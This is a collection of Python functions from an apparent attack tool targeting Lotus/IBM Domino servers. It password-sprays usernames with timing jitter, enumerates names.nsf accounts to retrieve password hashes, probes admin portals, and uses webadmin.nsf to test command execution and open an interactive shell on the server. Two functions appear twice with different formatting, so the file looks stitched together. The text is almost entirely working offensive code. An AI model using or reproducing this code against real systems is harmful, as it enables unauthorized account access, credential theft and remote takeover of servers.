def reverse_bruteforce(target, usernames, password, auth): username_list = [] valid_usernames = [] names_url = "{0}/names.nsf".format(target) # Import usernames from file username_file = open(usernames, 'r') for username in username_file: username_list.append(username.rstrip()) username_file.close() # Start reverse brute force for username in username_list: jitter = random.random() time.sleep(jitter) try: if auth == 'basic': access = utility.basic_auth(names_url, username, password) elif auth == 'form': access, session = utility.form_auth(names_url, username, password) elif auth == 'open': utility.print_good( "{0} does not require authentication".format(names_url)) break else: utility.print_warn("Could not find {0}".format(names_url)) break if access: utility.print_good("Valid account: {0} {1}".format( username, password)) valid_usernames.append(username) else: pass except KeyboardInterrupt: break except Exception as error: utility.print_error("Error: {0}".format(error)) continue # Print found usernames if len(valid_usernames) > 0: if len(valid_usernames) == 1: plural = '' else: plural = 's' utility.print_status("Found {0} valid account{1}".format( len(valid_usernames), plural)) for valid_username in valid_usernames: print("{0} {1}".format(valid_username, password)) else: utility.print_warn('No valid accounts found')
def enum_accounts(target, username, password, auth): accounts = [] account_urls = [] names_url = "{0}/names.nsf".format(target) for page in range(1, 100000, 1000): pages = "{0}/names.nsf/74eeb4310586c7d885256a7d00693f10?ReadForm&Start={1}&Count=1000".format(target, page) try: if auth == 'basic': access = utility.basic_auth(names_url, username, password) elif auth == 'form': access, session = utility.form_auth(names_url, username, password) else: access = None if access or auth == 'open': if auth == 'basic': request = requests.get(pages, headers=utility.get_headers(), auth=(username, password), timeout=60, verify=False) elif auth == 'form': request = session.get(pages, headers=utility.get_headers(), timeout=60, verify=False) else: request = requests.get(pages, headers=utility.get_headers(), timeout=60, verify=False) soup = BeautifulSoup(request.text, 'lxml') empty_page = soup.findAll('h2') if empty_page: break else: links = [a.attrs.get('href') for a in soup.select('a[href^=/names.nsf/]')] for link in links: account_regex = re.compile('/([a-f0-9]{32}/[a-f0-9]{32})', re.I) if account_regex.search(link) and account_regex.search(link).group(1) not in accounts: accounts.append(account_regex.search(link).group(1)) else: pass else: utility.print_warn("Unable to access {0}, bad username or password!".format(names_url)) break except Exception as error: utility.print_error("Error: {0}".format(error)) break if len(accounts) > 0: if len(accounts) == 1: plural = '' else: plural = 's' utility.print_good("Found {0} account{1}".format(len(accounts), plural)) for unid in accounts: account_urls.append("{0}/names.nsf/{1}?OpenDocument".format(target, unid)) async_requests(account_urls, username, password) else: utility.print_warn('No hashes found!')
def reverse_bruteforce(target, usernames, password, auth): username_list = [] valid_usernames = [] names_url = "{0}/names.nsf".format(target) # Import usernames from file username_file = open(usernames, 'r') for username in username_file: username_list.append(username.rstrip()) username_file.close() # Start reverse brute force for username in username_list: jitter = random.random() time.sleep(jitter) try: if auth == 'basic': access = utility.basic_auth(names_url, username, password) elif auth == 'form': access, session = utility.form_auth(names_url, username, password) elif auth == 'open': utility.print_good("{0} does not require authentication".format(names_url)) break else: utility.print_warn("Could not find {0}".format(names_url)) break if access: utility.print_good("Valid account: {0} {1}".format(username, password)) valid_usernames.append(username) else: pass except KeyboardInterrupt: break except Exception as error: utility.print_error("Error: {0}".format(error)) continue # Print found usernames if len(valid_usernames) > 0: if len(valid_usernames) == 1: plural = '' else: plural = 's' utility.print_status("Found {0} valid account{1}".format(len(valid_usernames), plural)) for valid_username in valid_usernames: print("{0} {1}".format(valid_username, password)) else: utility.print_warn('No valid accounts found')
def check_access(target, username, password, auth): webadmin_url = "{0}/webadmin.nsf".format(target) try: # Check access if auth == 'basic': access = utility.basic_auth(webadmin_url, username, password) session = None elif auth == 'form': access, session = utility.form_auth(webadmin_url, username, password) else: session = None # Get local file path path_url = "{0}/webadmin.nsf/fmpgHomepage?ReadForm".format(target) if access or auth == 'open': if auth == 'basic': check_path = requests.get(path_url, headers=utility.get_headers(), auth=(username, password), verify=False) elif auth == 'form': check_path = session.get(path_url, headers=utility.get_headers(), verify=False) else: check_path = requests.get(path_url, headers=utility.get_headers(), verify=False) path_regex = re.compile("DataDirectory\s*=\s*'(.+)';", re.I) if path_regex.search(check_path.text): local_path = path_regex.search(check_path.text).group(1) else: local_path = None utility.print_warn('Could not identify Domino file path') # Get operating system if 'UNIX' in check_path.text: os = 'linux' elif 'Windows' in check_path.text: os = 'windows' else: os = 'windows' utility.print_warn('Could not identify Domino operating system') # Test writing to local file system whoami, path, hostname = test_command(target, os, local_path, username, password, session) if whoami and path: Interactive(target, os, path, username, password, whoami, hostname, session).cmdloop() else: utility.print_warn('Unable to access webadmin.nsf') else: utility.print_warn("Unable to access {0}, might not be an admin".format(webadmin_url)) except Exception as error: utility.print_error("Error: {0}".format(error))
def check_portals(target, username, password, auth): portals = ['names.nsf', 'webadmin.nsf'] for portal in portals: portal_url = "{0}/{1}".format(target, portal) try: # Page not eternally accessible if auth == None: utility.print_warn("Could not find {0}!".format(portal)) # Basic authentication elif auth == 'basic': if len(username) > 0: access = utility.basic_auth(portal_url, username, password) if access: utility.print_good("{0} has access to {1}".format(username, portal_url)) else: utility.print_warn("{0} does not have access to {1}".format(username, portal_url)) else: utility.print_warn("{0} requires authentication!".format(portal_url)) # Form authentication elif auth == 'form': if len(username) > 0: access, session = utility.form_auth(portal_url, username, password) if access: utility.print_good("{0} has access to {1}".format(username, portal_url)) else: utility.print_warn("{0} does not have access to {1}".format(username, portal_url)) else: utility.print_warn("{0} requires authentication!".format(portal_url)) # Page does not require authentication else: utility.print_good("{0} does not require authentication".format(portal_url)) except Exception as error: utility.print_error("Error: {0}".format(error)) continue
def enum_accounts(target, username, password, auth): accounts = [] account_urls = [] names_url = "{0}/names.nsf".format(target) for page in range(1, 100000, 1000): pages = "{0}/names.nsf/74eeb4310586c7d885256a7d00693f10?ReadForm&Start={1}&Count=1000".format( target, page) try: if auth == 'basic': access = utility.basic_auth(names_url, username, password) elif auth == 'form': access, session = utility.form_auth(names_url, username, password) else: access = None if access or auth == 'open': if auth == 'basic': request = requests.get(pages, headers=utility.get_headers(), auth=(username, password), timeout=60, verify=False) elif auth == 'form': request = session.get(pages, headers=utility.get_headers(), timeout=60, verify=False) else: request = requests.get(pages, headers=utility.get_headers(), timeout=60, verify=False) soup = BeautifulSoup(request.text, 'lxml') # Break if page not found if 'No documents found' in soup.findAll('h2'): break else: links = [ a.attrs.get('href') for a in soup.select('a[href^=/names.nsf/]') ] for link in links: account_regex = re.compile( '/([a-f0-9]{32}/[a-f0-9]{32})', re.I) if account_regex.search(link) and account_regex.search( link).group(1) not in accounts: accounts.append( account_regex.search(link).group(1)) else: pass else: utility.print_warn( "Unable to access {0}, bad username or password".format( names_url)) break except Exception as error: utility.print_error("Error: {0}".format(error)) break if len(accounts) > 0: if len(accounts) == 1: plural = '' else: plural = 's' utility.print_good("Found {0} account{1}".format( len(accounts), plural)) for unid in accounts: account_urls.append("{0}/names.nsf/{1}?OpenDocument".format( target, unid)) async_requests(account_urls, username, password) else: utility.print_warn('No hashes found')